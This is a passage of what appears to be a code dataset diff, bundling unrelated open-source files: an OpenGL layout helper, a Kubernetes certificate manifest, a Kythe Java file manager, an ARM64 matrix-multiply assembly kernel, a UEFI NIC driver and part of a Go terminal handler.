$func_addr\"\n\tfi\ndone\n"}
+{"text": "#include \n\n#include \"opengl_helpers.h\"\n\n#include \"layout.h\"\n\nusing namespace Layout;\n\nstatic const int border_sz = 10;  // pixels\nstatic const int header_sz = 20;  // pixels\n\nstatic struct info state;\n\nconst struct info &Layout::setup(int image_width, int image_height) {\n    state.window_width = 2 * image_width + 3 * border_sz;\n    state.window_height = 2 * image_height + border_sz + 2 * header_sz;\n    return state;\n}\n\nvoid Layout::draw_texture(enum location location, GLuint texture_id, int width, int height, const std::string &label) {\n    int x0, x1, y0, y1, lx, ly;\n    switch (location) {  // set X coords\n    case LL:\n    case UL:\n        x0 = border_sz;\n        x1 = x0 + width;\n        lx = x0 + 2;\n        break;\n    case LR:\n    case UR:\n        x1 = state.window_width - border_sz;\n        x0 = x1 - width;\n        lx = x0 + 2;\n        break;\n    }\n    switch (location) {  // set Y coords\n    case LL:\n    case LR:\n        y0 = header_sz;\n        y1 = y0 + height;\n        ly = 6;\n        break;\n    case UL:\n    case UR:\n        y1 = state.window_height - header_sz;\n        y0 = y1 - height;\n        ly = y1 + 6;\n        break;\n    }\n\n    OpenGLHelpers::display_texture(texture_id, 2.0 * x0 / state.window_width - 1.0, 2.0 * x1 / state.window_width - 1.0, 2.0 * y0 / state.window_height - 1.0, 2.0 * y1 / state.window_height - 1.0);\n    OpenGLHelpers::draw_text(label, 2.0 * lx / state.window_width - 1.0, 2.0 * ly / state.window_height - 1.0);\n}\n\nvoid Layout::draw_image(enum location location, const uint8_t *data, int width, int height, const std::string &label) {\n    const auto texture_id = OpenGLHelpers::create_texture(width, height, data);\n    draw_texture(location, texture_id, width, height, label);\n    OpenGLHelpers::delete_texture(texture_id);\n}\n"}
+{"text": "name = \"DiffResults\"\nuuid = \"163ba53b-c6d8-5494-b064-1a9d43ac40c5\"\nrepo = \"https://github.com/JuliaDiff/DiffResults.jl.git\"\n"}
+{"text": "apiVersion: networking.gke.io/v1beta2\nkind: ManagedCertificate\nmetadata:\n  annotations:\n    kubectl.kubernetes.io/last-applied-configuration: |\n      {\"apiVersion\":\"networking.gke.io/v1beta2\",\"kind\":\"ManagedCertificate\",\"metadata\":{\"annotations\":{},\"name\":\"web\",\"namespace\":\"default\"},\"spec\":{\"domains\":[\"argocdtest.micke.me\", \"argocdtest2.micke.me\", \"argocdtest3.micke.me\"]}}\n  creationTimestamp: \"2020-05-16T19:35:14Z\"\n  generation: 2\n  name: web\n  namespace: default\n  resourceVersion: \"2387\"\n  selfLink: /apis/networking.gke.io/v1beta2/namespaces/default/managedcertificates/web\n  uid: 8011785f-233f-4e29-a68d-81945a342f08\nspec:\n  domains:\n    - argocdtest.micke.me\n    - argocdtest2.micke.me\n    - argocdtest3.micke.me\nstatus:\n  certificateName: mcrt-0a994e84-76b2-4ba3-9819-2a4ec5c0637e\n  certificateStatus: Provisioning\n  domainStatus:\n    - domain: argocdtest.micke.me\n      status: Active\n    - domain: argocdtest2.micke.me\n      status: Provisioning\n    - domain: argocdtest3.micke.me\n      status: FailedNotVisible\n"}
+{"text": "/*\n * Copyright 2014 Google Inc. All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.google.devtools.kythe.platform.java.filemanager;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport javax.tools.FileObject;\nimport javax.tools.ForwardingJavaFileManager;\nimport javax.tools.JavaFileObject;\nimport javax.tools.JavaFileObject.Kind;\nimport javax.tools.StandardJavaFileManager;\nimport javax.tools.StandardLocation;\n\n/**\n * TODO(schroederc) Refactor this code to not use Forwarding to avoid picking up spurious files from\n * the local file system. We do this today as we need to pick up the JDK etc...\n */\npublic class JavaFileStoreBasedFileManager extends\n    ForwardingJavaFileManager implements StandardJavaFileManager {\n\n  protected JavaFileStore javaFileStore;\n\n  public JavaFileStoreBasedFileManager(JavaFileStore javaFileStore,\n      StandardJavaFileManager fileManager) {\n    super(fileManager);\n    this.javaFileStore = javaFileStore;\n  }\n\n  protected Set getSearchPaths(Location location) {\n    Set dirsToLookIn = new HashSet<>();\n    Iterable paths = getLocation(location);\n    if (paths != null) {\n      for (File dir : paths) {\n        dirsToLookIn.add(dir.getPath());\n      }\n    }\n    return dirsToLookIn;\n  }\n\n  /**\n   * Lists all files in a package, tries to find files known to this manager before directing to the\n   * underlying filemanager.\n   */\n  @Override\n  public Iterable list(Location location, String packageName, Set kinds,\n      boolean recurse) throws IOException {\n    Set dirsToLookIn = getSearchPaths(location);\n    Set matchingFiles =\n        javaFileStore.list(packageName, kinds, dirsToLookIn, recurse);\n    // Prefer source over class file if the source exists in the source path:\n    if (location == StandardLocation.CLASS_PATH && kinds.contains(Kind.CLASS)) {\n      Map classNameToFile = new HashMap<>();\n      for (CustomJavaFileObject fileObject : matchingFiles) {\n        classNameToFile.put(fileObject.getClassName(), fileObject);\n      }\n      Set sourceKinds = new HashSet<>();\n      sourceKinds.add(Kind.SOURCE);\n      Set matchedSources = javaFileStore.list(packageName, sourceKinds,\n          getSearchPaths(StandardLocation.SOURCE_PATH), recurse);\n      for (CustomJavaFileObject source : matchedSources) {\n        if (classNameToFile.containsKey(source.getClassName())) {\n          classNameToFile.put(source.getClassName(), source);\n        }\n      }\n      matchingFiles.clear();\n      matchingFiles.addAll(classNameToFile.values());\n    }\n\n    // TODO(schroederc): handle case where some of the package is in the JavaFileStore, but not all\n    if (matchingFiles.size() > 0) {\n      return new ArrayList(matchingFiles);\n    }\n\n    List matchedFiles = new ArrayList<>();\n    matchedFiles.addAll(matchingFiles);\n    // Ask underlying file manager for its knowledge of files, e.g.\n    // in case of JRE we use the files locally known to the compiler.\n    for (JavaFileObject jfo : super.list(location, packageName, kinds, recurse)) {\n      matchedFiles.add(jfo);\n    }\n    return matchedFiles;\n  }\n\n  private JavaFileObject getJavaFileForInputFromCustomLocation(final Location location,\n      final String className, final Kind kind) {\n    return javaFileStore.find(className, kind, getSearchPaths(location));\n  }\n\n  /**\n   * Gets file for classname, from local filemanager before directing to the underlying filemanager.\n   */\n  @Override\n  public JavaFileObject getJavaFileForInput(final Location location, final String className,\n      final Kind kind) throws IOException {\n    JavaFileObject customJavaFile =\n        getJavaFileForInputFromCustomLocation(location, className, kind);\n    if (customJavaFile != null) {\n      return customJavaFile;\n    }\n    return super.getJavaFileForInput(location, className, kind);\n  }\n\n  @Override\n  public String inferBinaryName(Location location, JavaFileObject file) {\n    if (file instanceof CustomJavaFileObject) {\n      CustomJavaFileObject cjfo = (CustomJavaFileObject) file;\n      return cjfo.getClassName();\n    }\n    return fileManager.inferBinaryName(location, file);\n  }\n\n  private JavaFileObject getJavaFileFromPath(String file, Kind kind) {\n    return javaFileStore.findByPath(file, kind);\n  }\n\n  @Override\n  public JavaFileObject getJavaFileForOutput(Location location, String className,\n      JavaFileObject.Kind kind, FileObject sibling) throws IOException {\n    return fileManager.getJavaFileForOutput(location, className, kind, sibling);\n  }\n\n  @Override\n  public Iterable getJavaFileObjectsFromFiles(\n      Iterable files) {\n    List javaFileObjects = new ArrayList<>();\n    for (File file : files) {\n      String path = file.getPath();\n      JavaFileObject.Kind kind = getKind(path);\n      JavaFileObject jfo = getJavaFileFromPath(path, kind);\n      javaFileObjects.add(jfo);\n    }\n    return javaFileObjects;\n  }\n\n  @Override\n  public Iterable getJavaFileObjects(File... files) {\n    return getJavaFileObjectsFromFiles(Arrays.asList(files));\n  }\n\n\n  @Override\n  public FileObject getFileForInput(Location location, String packageName, String relativeName)\n      throws IOException {\n    FileObject fileObject = javaFileStore.find(packageName, relativeName, getSearchPaths(location));\n    if (fileObject == null) {\n      fileObject = super.getFileForInput(location, packageName, relativeName);\n    }\n    return fileObject;\n  }\n\n  @Override\n  public Iterable getJavaFileObjectsFromStrings(Iterable names) {\n    List files = new ArrayList<>();\n    for (String name : names) {\n      files.add(new File(name));\n    }\n    return getJavaFileObjectsFromFiles(files);\n  }\n\n  @Override\n  public Iterable getJavaFileObjects(String... names) {\n    List files = new ArrayList<>();\n    for (String name : names) {\n      files.add(new File(name));\n    }\n    return getJavaFileObjectsFromFiles(files);\n  }\n\n  @Override\n  public Iterable getLocation(Location location) {\n    return fileManager.getLocation(location);\n  }\n\n  @Override\n  public void setLocation(Location location, Iterable path) throws IOException {\n    fileManager.setLocation(location, path);\n  }\n\n  public static Kind getKind(String name) {\n    if (name.endsWith(Kind.CLASS.extension)) {\n      return Kind.CLASS;\n    } else if (name.endsWith(Kind.SOURCE.extension)) {\n      return Kind.SOURCE;\n    } else if (name.endsWith(Kind.HTML.extension)) {\n      return Kind.HTML;\n    } else {\n      return Kind.OTHER;\n    }\n  }\n\n  @Override\n  public boolean isSameFile(FileObject a, FileObject b) {\n    if (a instanceof CustomFileObject) {\n      return a.equals(b);\n    } else if (b instanceof CustomFileObject) {\n      return b.equals(a);\n    }\n    return fileManager.isSameFile(a, b);\n  }\n}\n"}
+{"text": "// Copyright 2019 Google LLC\n//\n// This source code is licensed under the BSD-style license found in the\n// LICENSE file in the root directory of this source tree.\n\n#include \n\n# void xnn_f32_gemm${\"inc\" if INC else \"\"}_minmax_ukernel_6x8__aarch64_neonfma_ld128(\n#     size_t mr,                x0\n#     size_t nc,                x1\n#     size_t kc,                x2 / x0\n#     const uint8_t*restrict a, x3\n#     size_t a_stride,          x4\n#     const void*restrict w,    x5\n#     uint8_t*restrict c,       x6\n#     size_t cm_stride,         x7\n#     size_t cn_stride,         [sp] -> (x0)\n$if INC:\n  #     const float*restrict acc,  [sp + 8] -> x15\n  #     const union xnn_f32_minmax_params params[restrict XNN_MIN_ELEMENTS(1)])  [sp + 16] -> x8\n$else:\n  #     const union xnn_f32_minmax_params params[restrict XNN_MIN_ELEMENTS(1)])  [sp + 8] -> x8\n\n# d8-d15, x19-x30 need to be preserved if used. x18 is reserved by the OS.\n\n# A pointers\n#  x3 a0\n#  x9 a1\n# x10 a2\n# x11 a3\n# x12 a4\n#  x4 a5\n\n# C pointers\n#  x6 c0\n# x16 c1\n# x17 c2\n# x14 c3\n# x13 c4\n#  x7 c5\n\n# Vector register usage\n# A0   v0\n# A1   v1\n# A2   v2\n# A3   v3\n# A4   v4\n# A5   v5\n# B   v16 v17 v18 v19\n# C   v20 v21\n# C   v22 v23\n# C   v24 v25\n# C   v26 v27\n# C   v28 v29\n# C   v30 v31\n# Clamp v6 v7\n# unused A   v8 v9 v10 v11\n# unused B   v12 v13 v14 v15\n\nBEGIN_FUNCTION xnn_f32_gemm${\"inc\" if INC else \"\"}_minmax_ukernel_6x8__aarch64_neonfma_ld128\n\n        $if INC:\n          # Load acc, params pointer\n          LDP x15, x8, [sp, 8]\n        $else:\n          # Load params pointer\n          LDR x8, [sp, 8]\n\n        # Clamp A and C pointers\n        CMP x0, 2                // if mr < 2\n        ADD x9, x3, x4           // a1 = a0 + a_stride\n        ADD x16, x6, x7          // c1 = c0 + cm_stride\n        CSEL x9, x3, x9, LO      //   a1 = a0\n        CSEL x16, x6, x16, LO    //   c1 = c0\n\n        ADD x10, x9, x4          // a2 = a1 + a_stride\n        ADD x17, x16, x7         // c2 = c1 + cm_stride\n                                 // if mr <= 2\n        CSEL x10, x9, x10, LS    //   a2 = a1\n        CSEL x17, x16, x17, LS   //   c2 = c1\n\n        CMP x0, 4                // if mr < 4\n        ADD x11, x10, x4         // a3 = a2 + a_stride\n        ADD x14, x17, x7         // c3 = c2 + cm_stride\n        CSEL x11, x10, x11, LO   //   a3 = a2\n        CSEL x14, x17, x14, LO   //   c3 = c2\n\n        ADD x12, x11, x4         // a4 = a3 + a_stride\n        ADD x13, x14, x7         // c4 = c3 + cm_stride\n                                 // if mr <= 4\n        CSEL x12, x11, x12, LS   //   a4 = a3\n        CSEL x13, x14, x13, LS   //   c4 = c3\n\n        CMP x0, 6                // if mr < 6\n        ADD x4, x12, x4          // a5 = a4 + a_stride\n        ADD x7, x13, x7          // c5 = c4 + cm_stride\n        CSEL x4, x12, x4, LO     //   a5 = a4\n        CSEL x7, x13, x7, LO     //   c5 = c4\n\n        # Load min/max values\n        LD2R {v6.4s, v7.4s}, [x8]\n\n0:\n        $if INC:\n          # Load initial accumulators\n          LDP q20, q21, [x15], 32\n          LDP q22, q23, [x15], 32\n          LDP q24, q25, [x15], 32\n          LDP q26, q27, [x15], 32\n          LDP q28, q29, [x15], 32\n          LDP q30, q31, [x15], 32\n          PRFM PLDL1KEEP, [x5, 0]  // Prefetch B\n          PRFM PLDL1KEEP, [x5, 64]\n          PRFM PLDL1KEEP, [x5, 128]\n          PRFM PLDL1KEEP, [x5, 192]\n          PRFM PLDL1KEEP,  [x3]    // Prefetch A\n          PRFM PLDL1KEEP,  [x9]\n          PRFM PLDL1KEEP, [x10]\n          PRFM PLDL1KEEP, [x11]\n          PRFM PLDL1KEEP, [x12]\n          PRFM PLDL1KEEP,  [x4]\n        $else:\n          # Load initial bias from w into accumulators\n          LDP q20, q21, [x5], 32\n          MOV v22.16b, v20.16b\n          PRFM PLDL1KEEP, [x5, 0]  // Prefetch B\n          MOV v23.16b, v21.16b\n          PRFM PLDL1KEEP, [x5, 64]\n          MOV v24.16b, v20.16b\n          PRFM PLDL1KEEP, [x5, 128]\n          MOV v25.16b, v21.16b\n          PRFM PLDL1KEEP, [x5, 192]\n          MOV v26.16b, v20.16b\n          PRFM PLDL1KEEP,  [x3]    // Prefetch A\n          MOV v27.16b, v21.16b\n          PRFM PLDL1KEEP,  [x9]\n          MOV v28.16b, v20.16b\n          PRFM PLDL1KEEP, [x10]\n          MOV v29.16b, v21.16b\n          PRFM PLDL1KEEP, [x11]\n          MOV v30.16b, v20.16b\n          PRFM PLDL1KEEP, [x12]\n          MOV v31.16b, v21.16b\n          PRFM PLDL1KEEP,  [x4]\n\n        # Is there at least 4 floats (16 bytes)?\n        SUBS x0, x2, 16  // k = kc - 16\n        B.LO 5f\n\n        # Main loop - 4 floats of A (16 bytes)\n        # 48 FMA + 6 ld128 A + 4 LDP B\n1:\n        LDR   q0,  [x3], 16\n        LDP  q16,  q17, [x5], 32\n        LDR   q1,  [x9], 16\n        LDR   q2, [x10], 16\n        LDR   q3, [x11], 16\n        LDR   q4, [x12], 16\n        LDR   q5,  [x4], 16\n        FMLA v20.4s, v16.4s,  v0.s[0]\n        FMLA v22.4s, v16.4s,  v1.s[0]\n        FMLA v24.4s, v16.4s,  v2.s[0]\n        FMLA v26.4s, v16.4s,  v3.s[0]\n        LDP  q18,  q19, [x5], 32\n        FMLA v28.4s, v16.4s,  v4.s[0]\n        FMLA v30.4s, v16.4s,  v5.s[0]\n        FMLA v21.4s, v17.4s,  v0.s[0]\n        FMLA v23.4s, v17.4s,  v1.s[0]\n        FMLA v25.4s, v17.4s,  v2.s[0]\n        FMLA v27.4s, v17.4s,  v3.s[0]\n        FMLA v29.4s, v17.4s,  v4.s[0]\n        FMLA v31.4s, v17.4s,  v5.s[0]\n\n        FMLA v20.4s, v18.4s,  v0.s[1]\n        LDP  q16,  q17, [x5], 32\n        FMLA v22.4s, v18.4s,  v1.s[1]\n        FMLA v24.4s, v18.4s,  v2.s[1]\n        FMLA v26.4s, v18.4s,  v3.s[1]\n        FMLA v28.4s, v18.4s,  v4.s[1]\n        FMLA v30.4s, v18.4s,  v5.s[1]\n        FMLA v21.4s, v19.4s,  v0.s[1]\n        FMLA v23.4s, v19.4s,  v1.s[1]\n        FMLA v25.4s, v19.4s,  v2.s[1]\n        FMLA v27.4s, v19.4s,  v3.s[1]\n        FMLA v29.4s, v19.4s,  v4.s[1]\n        FMLA v31.4s, v19.4s,  v5.s[1]\n\n        FMLA v20.4s, v16.4s,  v0.s[2]\n        LDP  q18,  q19, [x5], 32\n        FMLA v22.4s, v16.4s,  v1.s[2]\n        FMLA v24.4s, v16.4s,  v2.s[2]\n        FMLA v26.4s, v16.4s,  v3.s[2]\n        FMLA v28.4s, v16.4s,  v4.s[2]\n        FMLA v30.4s, v16.4s,  v5.s[2]\n        FMLA v21.4s, v17.4s,  v0.s[2]\n        FMLA v23.4s, v17.4s,  v1.s[2]\n        FMLA v25.4s, v17.4s,  v2.s[2]\n        FMLA v27.4s, v17.4s,  v3.s[2]\n        FMLA v29.4s, v17.4s,  v4.s[2]\n        FMLA v31.4s, v17.4s,  v5.s[2]\n\n        FMLA v20.4s, v18.4s,  v0.s[3]\n        FMLA v22.4s, v18.4s,  v1.s[3]\n        FMLA v24.4s, v18.4s,  v2.s[3]\n        FMLA v26.4s, v18.4s,  v3.s[3]\n        FMLA v28.4s, v18.4s,  v4.s[3]\n        FMLA v30.4s, v18.4s,  v5.s[3]\n        FMLA v21.4s, v19.4s,  v0.s[3]\n        FMLA v23.4s, v19.4s,  v1.s[3]\n        FMLA v25.4s, v19.4s,  v2.s[3]\n        FMLA v27.4s, v19.4s,  v3.s[3]\n        SUBS x0, x0, 16\n        FMLA v29.4s, v19.4s,  v4.s[3]\n        FMLA v31.4s, v19.4s,  v5.s[3]\n        B.HS 1b\n\n        # Is there a remainder?- 2 floats of A (8 bytes) or less\n        TST x0, 15\n        B.NE 5f\n\n4:\n        # Clamp\n        FMAX v20.4s, v20.4s, v6.4s\n        # Load cn_stride\n        LDR x0, [sp, 0]\n        FMAX v21.4s, v21.4s, v6.4s\n        FMAX v22.4s, v22.4s, v6.4s\n        FMAX v23.4s, v23.4s, v6.4s\n        FMAX v24.4s, v24.4s, v6.4s\n        FMAX v25.4s, v25.4s, v6.4s\n        FMAX v26.4s, v26.4s, v6.4s\n        FMAX v27.4s, v27.4s, v6.4s\n        FMAX v28.4s, v28.4s, v6.4s\n        FMAX v29.4s, v29.4s, v6.4s\n        FMAX v30.4s, v30.4s, v6.4s\n        FMAX v31.4s, v31.4s, v6.4s\n        SUBS x1, x1, 8\n        FMIN v20.4s, v20.4s, v7.4s\n        FMIN v21.4s, v21.4s, v7.4s\n        FMIN v22.4s, v22.4s, v7.4s\n        FMIN v23.4s, v23.4s, v7.4s\n        FMIN v24.4s, v24.4s, v7.4s\n        FMIN v25.4s, v25.4s, v7.4s\n        FMIN v26.4s, v26.4s, v7.4s\n        FMIN v27.4s, v27.4s, v7.4s\n        FMIN v28.4s, v28.4s, v7.4s\n        FMIN v29.4s, v29.4s, v7.4s\n        FMIN v30.4s, v30.4s, v7.4s\n        FMIN v31.4s, v31.4s, v7.4s\n\n        # Store full 6 x 8\n        B.LO 7f\n\n        $if INC:\n          ST1 {v30.16b, v31.16b},  [x7], x0\n          SUB  x3,  x3, x2 // a0 -= kc\n          ST1 {v28.16b, v29.16b}, [x13], x0\n          SUB  x9,  x9, x2 // a1 -= kc\n          ST1 {v26.16b, v27.16b}, [x14], x0\n          SUB x10, x10, x2 // a2 -= kc\n          ST1 {v24.16b, v25.16b}, [x17], x0\n          SUB x11, x11, x2 // a3 -= kc\n          ST1 {v22.16b, v23.16b}, [x16], x0\n          SUB x12, x12, x2 // a4 -= kc\n          ST1 {v20.16b, v21.16b},  [x6], x0\n          SUB  x4,  x4, x2 // a5 -= kc\n        $else:\n          ST1 {v20.16b, v21.16b},  [x6], x0\n          SUB  x3,  x3, x2 // a0 -= kc\n          ST1 {v22.16b, v23.16b}, [x16], x0\n          SUB  x9,  x9, x2 // a1 -= kc\n          ST1 {v24.16b, v25.16b}, [x17], x0\n          SUB x10, x10, x2 // a2 -= kc\n          ST1 {v26.16b, v27.16b}, [x14], x0\n          SUB x11, x11, x2 // a3 -= kc\n          ST1 {v28.16b, v29.16b}, [x13], x0\n          SUB x12, x12, x2 // a4 -= kc\n          ST1 {v30.16b, v31.16b},  [x7], x0\n          SUB  x4,  x4, x2 // a5 -= kc\n\n        B.HI 0b\n        RET\n\n5:\n        # Is there a remainder?- 2 floats of A (8 bytes)\n        TBZ x0, 3, 6f\n\n        # Remainder- 2 floats of A (8 bytes)\n        LDR   d0,  [x3], 8\n        LDP  q16,  q17, [x5], 32\n        LDR   d1,  [x9], 8\n        LDR   d2, [x10], 8\n        LDR   d3, [x11], 8\n        LDR   d4, [x12], 8\n        LDR   d5,  [x4], 8\n        FMLA v20.4s, v16.4s,  v0.s[0]\n        FMLA v22.4s, v16.4s,  v1.s[0]\n        FMLA v24.4s, v16.4s,  v2.s[0]\n        FMLA v26.4s, v16.4s,  v3.s[0]\n        LDP  q18,  q19, [x5], 32\n        FMLA v28.4s, v16.4s,  v4.s[0]\n        FMLA v30.4s, v16.4s,  v5.s[0]\n        FMLA v21.4s, v17.4s,  v0.s[0]\n        FMLA v23.4s, v17.4s,  v1.s[0]\n        FMLA v25.4s, v17.4s,  v2.s[0]\n        FMLA v27.4s, v17.4s,  v3.s[0]\n        FMLA v29.4s, v17.4s,  v4.s[0]\n        FMLA v31.4s, v17.4s,  v5.s[0]\n\n        FMLA v20.4s, v18.4s,  v0.s[1]\n        FMLA v22.4s, v18.4s,  v1.s[1]\n        FMLA v24.4s, v18.4s,  v2.s[1]\n        FMLA v26.4s, v18.4s,  v3.s[1]\n        FMLA v28.4s, v18.4s,  v4.s[1]\n        FMLA v30.4s, v18.4s,  v5.s[1]\n        FMLA v21.4s, v19.4s,  v0.s[1]\n        FMLA v23.4s, v19.4s,  v1.s[1]\n        FMLA v25.4s, v19.4s,  v2.s[1]\n        FMLA v27.4s, v19.4s,  v3.s[1]\n        FMLA v29.4s, v19.4s,  v4.s[1]\n        FMLA v31.4s, v19.4s,  v5.s[1]\n\n        # Is there a remainder?- 1 floats of A (4 bytes)\n        TBZ x0, 2, 4b\n\n        # Remainder- 1 float of A (4 bytes)\n6:\n        LDR   s0,  [x3], 4\n        LDP  q16,  q17, [x5], 32\n        LDR   s1,  [x9], 4\n        LDR   s2, [x10], 4\n        LDR   s3, [x11], 4\n        LDR   s4, [x12], 4\n        LDR   s5,  [x4], 4\n        FMLA v20.4s, v16.4s,  v0.s[0]\n        FMLA v22.4s, v16.4s,  v1.s[0]\n        FMLA v24.4s, v16.4s,  v2.s[0]\n        FMLA v26.4s, v16.4s,  v3.s[0]\n        FMLA v28.4s, v16.4s,  v4.s[0]\n        FMLA v30.4s, v16.4s,  v5.s[0]\n        FMLA v21.4s, v17.4s,  v0.s[0]\n        FMLA v23.4s, v17.4s,  v1.s[0]\n        FMLA v25.4s, v17.4s,  v2.s[0]\n        FMLA v27.4s, v17.4s,  v3.s[0]\n        FMLA v29.4s, v17.4s,  v4.s[0]\n        FMLA v31.4s, v17.4s,  v5.s[0]\n        B 4b\n\n        # Store odd width\n7:\n        TBZ x1, 2, 8f\n        $if INC:\n          STR q30,  [x7], 16\n          MOV v30.16b, v31.16b\n          STR q28, [x13], 16\n          MOV v28.16b, v29.16b\n          STR q26, [x14], 16\n          MOV v26.16b, v27.16b\n          STR q24, [x17], 16\n          MOV v24.16b, v25.16b\n          STR q22, [x16], 16\n          MOV v22.16b, v23.16b\n          STR q20,  [x6], 16\n          MOV v20.16b, v21.16b\n        $else:\n          STR q20,  [x6], 16\n          MOV v20.16b, v21.16b\n          STR q22, [x16], 16\n          MOV v22.16b, v23.16b\n          STR q24, [x17], 16\n          MOV v24.16b, v25.16b\n          STR q26, [x14], 16\n          MOV v26.16b, v27.16b\n          STR q28, [x13], 16\n          MOV v28.16b, v29.16b\n          STR q30,  [x7], 16\n          MOV v30.16b, v31.16b\n\n8:\n        TBZ x1, 1, 9f\n        $if INC:\n          STR d30,  [x7], 8\n          DUP d30, v30.d[1]\n          STR d28, [x13], 8\n          DUP d28, v28.d[1]\n          STR d26, [x14], 8\n          DUP d26, v26.d[1]\n          STR d24, [x17], 8\n          DUP d24, v24.d[1]\n          STR d22, [x16], 8\n          DUP d22, v22.d[1]\n          STR d20,  [x6], 8\n          DUP d20, v20.d[1]\n        $else:\n          STR d20,  [x6], 8\n          DUP d20, v20.d[1]\n          STR d22, [x16], 8\n          DUP d22, v22.d[1]\n          STR d24, [x17], 8\n          DUP d24, v24.d[1]\n          STR d26, [x14], 8\n          DUP d26, v26.d[1]\n          STR d28, [x13], 8\n          DUP d28, v28.d[1]\n          STR d30,  [x7], 8\n          DUP d30, v30.d[1]\n\n9:\n        TBZ x1, 0, 10f\n        $if INC:\n          STR s30,  [x7]\n          STR s28, [x13]\n          STR s26, [x14]\n          STR s24, [x17]\n          STR s22, [x16]\n          STR s20,  [x6]\n        $else:\n          STR s20,  [x6]\n          STR s22, [x16]\n          STR s24, [x17]\n          STR s26, [x14]\n          STR s28, [x13]\n          STR s30,  [x7]\n10:\n        RET\n\nEND_FUNCTION xnn_f32_gemm${\"inc\" if INC else \"\"}_minmax_ukernel_6x8__aarch64_neonfma_ld128\n\n#ifdef __ELF__\n.section \".note.GNU-stack\",\"\",%progbits\n#endif\n"}
+{"text": "/** @file\r\n*\r\n*  Copyright (c) 2016-2018, Hisilicon Limited. All rights reserved.\r\n*  Copyright (c) 2016-2018, Linaro Limited. All rights reserved.\r\n*\r\n*  SPDX-License-Identifier: BSD-2-Clause-Patent\r\n*\r\n**/\r\n\r\n#include \r\n\r\n\r\nEFI_STATUS\r\nEFIAPI OemGetMac2P (\r\n  IN OUT EFI_MAC_ADDRESS *Mac,\r\n  IN     UINTN           Port\r\n  )\r\n{\r\n  OemGetMac (Mac, Port);\r\n\r\n  return EFI_SUCCESS;\r\n}\r\n\r\nEFI_STATUS\r\nEFIAPI OemSetMac2P (\r\n  IN EFI_MAC_ADDRESS *Mac,\r\n  IN UINTN           Port\r\n  )\r\n{\r\n  OemSetMac (Mac, Port);\r\n\r\n  return EFI_SUCCESS;\r\n}\r\n\r\nHISI_BOARD_NIC_PROTOCOL mHisiBoardNicProtocol2P = {\r\n  .GetMac = OemGetMac2P,\r\n  .SetMac = OemSetMac2P,\r\n};\r\n\r\n\r\nEFI_STATUS\r\nEFIAPI\r\nOemNicConfigEntry (\r\n  IN EFI_HANDLE           ImageHandle,\r\n  IN EFI_SYSTEM_TABLE     *SystemTable\r\n  )\r\n{\r\n  EFI_STATUS Status;\r\n\r\n  Status = gBS->InstallProtocolInterface (\r\n                  &ImageHandle,\r\n                  &gHisiBoardNicProtocolGuid,\r\n                  EFI_NATIVE_INTERFACE,\r\n                  &mHisiBoardNicProtocol2P\r\n                  );\r\n\r\n  if (EFI_ERROR (Status)) {\r\n    DEBUG ((DEBUG_ERROR, \"[%a]:[%dL] Install Protocol failed %r\\n\",\r\n        __FUNCTION__, __LINE__, Status));\r\n    return Status;\r\n  }\r\n\r\n  return EFI_SUCCESS;\r\n}\r\n\r\n"}
+{"text": "package handlers\n\nimport (\n\t\"log\"\n\t\"net\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/play-with-docker/play-with-docker/event\"\n\t\"github.com/play-with-docker/play-with-docker/pwd/types\"\n\n\t\"golang.org/x/text/encoding\"\n)\n\ntype terminal struct {\n\tconn     net.Conn\n\twrite    chan []byte\n\tinstance *types.Instance\n}\n\nfunc (t *terminal) Go(ch chan info, ech chan *types.Instance) {\n\tgo func() {\n\t\tfor d := range t.write {\n\t\t\t_, err := t.conn.Write(d)\n\t\t\tif err != nil {\n\t\t\t\tech <- t.instance\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n\tgo func() {\n\t\tencoder := encoding.Replacement.NewEncoder()\n\t\tbuf := make([]byte, 1024)\n\t\tfor {\n\t\t\tn, err := t.conn.Read(buf)\n\t\t\tif err != nil {\n\t\t\t\tech <- t.instance\n\t\t\t\treturn\n\t\t\t}\n\t\t\tb, err := encoder.Bytes(buf[:n])\n\t\t\tif err != nil {\n\t\t\t\tech <- t.instance\n\t\t\t\treturn\n\t\t\t}\n\t\t\tch <- info{name: t.instance.Name, data: b}\n\t\t}\n\t}()\n}\n\ntype info struct {\n\tname string\n\tdata []byte\n}\n\ntype state struct {\n\tname   string\n\tstatus string\n}\n\ntype manager struct {\n\tsession   *types.Session\n\tsendCh    chan info\n\treceiveCh chan info\n\tstateCh   chan state\n\tterminals map[string]*terminal\n\terrorCh   chan *types.Instance\n\tinstances map[string]*types.Instance\n\tsync.Mutex\n}\n\nfunc (m *manager) Send(name string, data []byte) {\n\tm.sendCh <- info{name: name, data: data}\n}\nfunc (m *manager) Receive(cb func(name string, data []byte)) {\n\tfor i := range m.receiveCh {\n\t\tcb(i.name, i.data)\n\t}\n}\nfunc (m *manager) Status(cb func(name, status string)) {\n\tfor s := range m.stateCh {\n\t\tcb(s.name, s.status)\n\t}\n}\n\nfunc (m *manager) connect(instance *types.Instance) error {\n\tif !m.trackingInstance(instance) {\n\t\treturn nil\n\t}\n\n\treturn m.connectTerminal(instance)\n}\n\nfunc (m *manager) connectTerminal(instance *types.Instance) error {\n\tm.Lock()\n\tdefer m.Unlock()\n\n\tconn, err := core.InstanceGetTerminal(instance)\n\tif err != nil {\n\t\treturn err\n\t}\n\tchw := make(chan []byte, 10)\n\tt := terminal{conn: conn, write: chw, instance: instance}\n\tm.terminals[instance.Name] = &t\n\tt.Go(m.receiveCh, m.errorCh)\n\tm.stateCh <- state{name: instance.Name, status: \"connect\"}\n\n\treturn nil\n}\n\nfunc (m *manager) disconnectTerminal(instance *types.Instance) {\n\tm.Lock()\n\tdefer m.Unlock()\n\n\tt := m.terminals[instance.Name]\n\tif t != nil {\n\t\tif t.write != nil {\n\t\t\tclose(t.write)\n\t\t}\n\t\tif t.conn != nil 